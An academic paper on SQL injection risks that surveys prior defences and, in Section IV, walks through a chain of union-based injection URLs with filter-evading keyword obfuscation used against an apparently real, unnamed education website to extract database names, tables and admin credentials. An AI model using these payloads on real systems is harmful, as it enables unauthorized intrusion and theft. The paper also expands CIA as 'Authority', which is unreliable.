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----------------------------------------------------------------------ABSTRACT-------------------------------------------------------------
Abstract— The paper explores one of the major security issue of existing and forthcoming deployment of cloud and 
other web technologies, the SQL Injection Attacks (SQLIAs). The existing attackers who may range from a novice 
student who wants to research on security to a seasoned hacker, have it easy due to the presence and easy availability 
of SQLIAs automated tools. It should also be noted that the attack pattern might vary from person to person leading 
to absence of a perfect countermeasure for the same. The paper also illustrates an example attack pattern explaining 
a possible chain of sequence in which attack can occur.
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I. INTRODUCTION

resently, one of the most dodgy and attention seeking 
problem with web applications and database is SQL
Injection Attacks. These attacks are very commonly 

known as SQLIAs, where inside the SQL query certain 
clause is maliciously modified or is added without any 
proper authorization. These leads to various hazardous 
situations where the queries will break into the system and 
because they are modified will result into generation of an 
output as intended by the attacker. Such problems and 
malicious attacks are being frequently observed in day to 
day life. It will not only modify the database, but will also 
serve an illegal or an unauthorized person to access it and 
use it without authenticity. 

SQLIAs have been found as the top priority problem that 
exists with current network issues. According to D.H. 
Parekh et. al. [1], various cloud computing challenges are
identified under which networking issues discuss about 
SQLIAs as a malicious act on the cloud computing in which 
a spiteful code is inserted into a model SQL code allowing 
the invader to access database and eventually to other 
confidential information in an unauthorized manner.
Though being so very prominent type of attack, the SQL 
injection still is at the top of the list of security threats [2]. 
The solutions identified so far seem insufficient to avoid 
and block this type of attack because certain solutions is 
devoid of the learning and adaptation abilities for dealing 
with previously unseen attacks as well as future distinctions 

of attacks. Besides this, the enormous majority of these 
solutions are based on centralized mechanisms showing 
very little capacity to work in dynamic and distributed 
environments.
SQL Injection Attacks are dealt as a massive threat because 
it injects into the web applications and accesses a database 
underlying the web. This data can be highly confidential 
and can be of a very high value like bank transactions or list 
of financial transactions that may incur a lot of secret 
information. An unauthorized access to such important 
database by a crafted user can result in the threat to CIA i.e. 
Confidentiality, Integrity and Authority of the database. 
Such malicious attacks may result in giving proper services 
to their users and as a consequence, a company or bank’s 
existence may be threatened. Hence, according to Diallo 
Abdoulaye Kindy et. al. [3] SQL Injection could be very 
unsafe in many cases depending on the platform where the 
attack is commenced and it gets triumph in injecting rogue 
users to the target system.

II. RELATED WORK

In the paper by Jaskanwal Minhas et. al. [4] have focused 
on attribute removals from queries, static and Dynamic, 
both, and compared them. The method proposed minimizes 
the response time by character wise comparison of 
incoming queries with static queries with same number of 
tokens. The authors were yet to work on detection and 
prevention of several other attack modes like cross site 
scripting attacks.
Erwin Adi [5], in his paper, proposes a method to blacklist 
codes and strings that are malicious and use this database 
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block the attacks. The author proposes the work further to 
neutralize such attacks rather than blocking them. In order 
to do any of these, the author concludes that the input size 
has to be made limited. This can be achieved in one out of 
many ways by implementing an interface between query 
generation and database.
In the paper by L. K. Shar et. al. [6], the two phased 
approach to detect and block the malicious statements has 
been discussed that uses taint based analysis approach and 
later the pattern making and data dependency analysis is 
generated on the basis of the same. They have generated an 
equivalent replacement code to reduce the possibility of 
SQL injection. But in the paper they have not shown any 
analysis technique that tracks the flow of user inputs to 
accurately detect its influence in HTML output statements.

III. SQL INJECTION RISKS

Even though SQL injection has been identified as the most 
dangerous issue for years, there are numerous factors that 
augment the rate of risk. Initially, more companies offer 
website interaction with visitors and this drift is increasing 
radically. Secondly, more hackers gain skills in SQL 
injection which helps them in discovering more applications 
and services that are prone to attack and are mounting new 
attacks on old applications. This results in an exponential 
increase in the opportunities to use this attack method [7]. 
Risk of being attacked using SQL injection is based on two 
factors: the nature and size of your business and the age, 
status of updates and patches on your applications and the 
skill and number of your technical staff. It boils down to 
whether you are an interesting target and whether your web 
server, the applications on it and your web site code are 
well designed, well integrated and have all the current 
patches and updates. 

The site faces critical danger if it is used to host data of high 
significance, if business or applications are in high demand 
and dense competition, or if it has socio-political impact. 
The target also becomes obvious choice if it deals with 
money. Websites for blogs and other social media become 
an important target when they are pioneer in the 
information that is of great impact.  

SQL injection attacks are easily implemented or outsourced 
online. An upset consumer, a rival, or any acquaintance can 
have an easy access to something commonly known as a 
'script kiddie' - and in worst case, a talented hacker - to 
attack a site. The probability of the attacker getting caught 
is very low. It is very easily possible that the attacker might 
not be noticed even after much damage has been already 
done [8]. Figure 1, depicts that how an SQL Injection 
Attacks are targeted on the domain. Moreover, it also shows 
how the user accesses various servers through the 
vulnerabilities at each stage.

Any site designed or hosting important data or precious 
content incorporate to be an easy target. Age is also a rough 
indicator of vulnerability to security risks. Similar indicator 
is the number of servers hosting the site and number of 
maintenance or access points. This makes the third party 
security risk review important as well as necessary. 
Improper and non timely updates can also become an 
important and vicious vulnerability [9].

IV. SQL INJECTION EXAMPLE

In order to reveal SQLIA’s, a particular education website 
was targeted. After performing several tests, it was found 
that the site is susceptible to SQL Injection Attacks. A step 
by step approach was followed to reach till the database and 
find the admin username and password. Moreover, Havij 
which is an automated SQL Injection tool was used to find 
and exploit vulnerabilities of the website [10]. Through the 
tool we were able to detect the username and the password 
of the admin. Following queries reveal the steps of how a 
chain of SQL Injection attacks were used to successfully 
infiltrate given site. Through this it is exemplified how 
different focused attack patterns may exploit a series of 
distinct minor vulnerabilities to construct a major attack.

1. ***.edu.in/pgcourses.php?p=mba&id=2' 

This query was fired to state that the website was 
vulnerable to SQL Injection Attacks. The name of the 
targeted domain is not mentioned intentionally for the sake 
of confidentiality.

2. ***.edu.in/department.php?id=1+/*!UnIoN*/+/*!sELe
Ct*/1,2,3,4,5,6,7--

Query resulted an integer value on the screen which showed 
that number 3 was susceptible to attacks.

3. ***.edu.in/department.php?id=1+/*!UnIoN*/+/*!sELe
Ct*/1,2,database(),4,5,6,7--

With this query database of the site was fetched.
4. ***.edu.in/department.php?id=1+/*!UnIoN*/+/*!sELe

Ct*/1,2,version(),4,5,6,7--

This query showed the version of the SQL, and if it is 
above 5.0.0, it ensures that our SQL Attacks would work.
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5. ***.edu.in/department.php?id=1+/*!UnIoN*/+/*!sELe
Ct*/1,2,table_name,4,5,6,7 from 
information_schema.tables--

When the above query was fired, it gave the names of all 
the tables that were there in the database.

6. ***.edu.in/department.php?id=1+/*!UnIoN*/+/*!sELe
Ct*/1,2,group_concat(column_name),4,5,6,7 from 
information_schema.columns where table_name 
=CHAR (109,101,100,109,97,105,110)--

With this query, the id and password of the admin table was 
fetched.

When the above examples were tested with Havij, the 
results were almost same. Tables, username and password, 
database and column names, reported by Havij were the 
same as those given by the above queries.

V.CONCLUSION

As we observe the attack pattern can exploit existing
vulnerabilities at several different levels to generate a major 
attack. Availability of automated tools aiding SQLIAs ease 
the work for attackers. Depending on the experience, 
attackers might breach some or all of the security measures. 
The security protocols of the deployed project should be 
made as dynamic as possible to avoid SQLIAs and yet with 
more stealth to protect it continuously while providing 
seamless access to the data.
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